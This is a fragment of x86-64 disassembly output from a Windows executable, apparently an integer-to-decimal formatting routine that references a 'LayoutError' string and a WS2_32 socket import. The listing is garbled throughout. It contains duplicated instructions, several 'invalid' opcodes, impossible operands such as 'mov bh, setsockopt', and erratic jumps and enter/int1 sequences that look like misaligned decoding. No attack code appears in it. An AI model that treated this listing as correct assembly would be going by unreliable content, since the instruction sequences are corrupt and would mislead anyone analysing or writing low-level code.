mov rax, r8
mul r11
shr rdx, 0xb
imul eax, edx, 0x2710
mov edi, r8d
sub edi, eax
imul ebx, edi, 0x147b
shr ebx, 0x13
imul eax, ebx, 0x64
sub edi, eax
movzx edi, di
lea rax, [rsi - 4]
movzx ebx, word [r10 + rbx*2]
mov word [rsp + rsi + 0x35], bx
xor eax, 0x3cb70f41
jp 0x1400611f0
mov dword [rsp + rsi + 0x37], edi
xor eax, 0x3cb70f41
jp 0x1400611f0
mov dword [rsp + rsi + 0x37], edi
mov rsi, rax
cmp r8, 0x5f5e0ff
mov r8, rdx
ja 0x140061150
cmp rdx, 0x63
jbe 0x1400611d1
movzx r8d, dx
shr r8d, 2
imul r8d, r8d, 0x147b
shr r8d, 0x11
imul r11d, r8d, 0x64
imul ebx, eax, 0x64
imul ebx, eax, 0x64
sub edx, r11d
movzx edx, dx
movzx edx, word [r10 + rdx*2]
mov word [rsp + rax + 0x37], dx
add rax, 0xfffffffffffffffe
mov rdx, r8
cmp rdx, 0xa
jae 0x1400611ee
add dl, 0x30
mov byte [rsp + rax + 0x38], dl
dec rax
jmp case.0x140010662.488
mov rdx, r8
cmp rdx, 0x63
ja 0x1400611a3
jmp 0x1400611d1
movzx edx, word [r10 + rdx*2]
mov bh, setsockopt
push rdx
mov word [rsp + rax + 0x37], dx
add rax, 0xfffffffffffffffe
test r9d, r9d
setns dl
lea r8, [rsp + rax]
add r8, 0x39
mov r9d, 0x27
sub r9, rax
mov qword [rsp + 0x28], r9
and al, 0x28
and al, 0x28
mov qword [rsp + 0x20], r8
lea r8, [0x140204680]
xor al, 0x1a
add byte [rbp + 0x31], al
leave
xor al, 0x1a
add byte [rbp + 0x31], al
leave
call fcn.140059040
nop
add rsp, 0x60
invalid
pop rbx
pop rdi
pop rsi
invalid
ret
or dword [rbp - 0x77], ecx
enter 0xfffffffffffff749, 0xffffffffffffffd8
mov ecx, edx
add byte [rax], al
cmp al, 0x7a
call 0x1187157fa
sub edx, r11d
cli
invalid
add esp, 0x60
mov esi, edx
adc byte [rax], al
add ecx, dword [rcx + rcx*4 - 0x40]
lea eax, [0x14016d978]
add eax, 0x10c184
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
lea rdx, str.LayoutError
mov rax, qword [rax + 0x18]
loopne 0x1400618aa
mov edx, eax
ret 0xff48
pop rbp
int1
invalid
add edi, 3
or al, byte [rcx]
add byte [rax], al
inc eax
and byte [rax - 0x73], cl
adc eax, 0x1318e7
lea edx, [0x140193360]
add byte [rax], al
add byte [rax + 0x39], cl
ror byte [rdi], 1
test byte [rdi + 0x48000000], cl
lea rdx, reloc.WS2_32.dll_ioctlsocket
seto cl
xchg edx, eax
ret 0xf631
invalid
test byte [rbp - 0x7c], 0xc9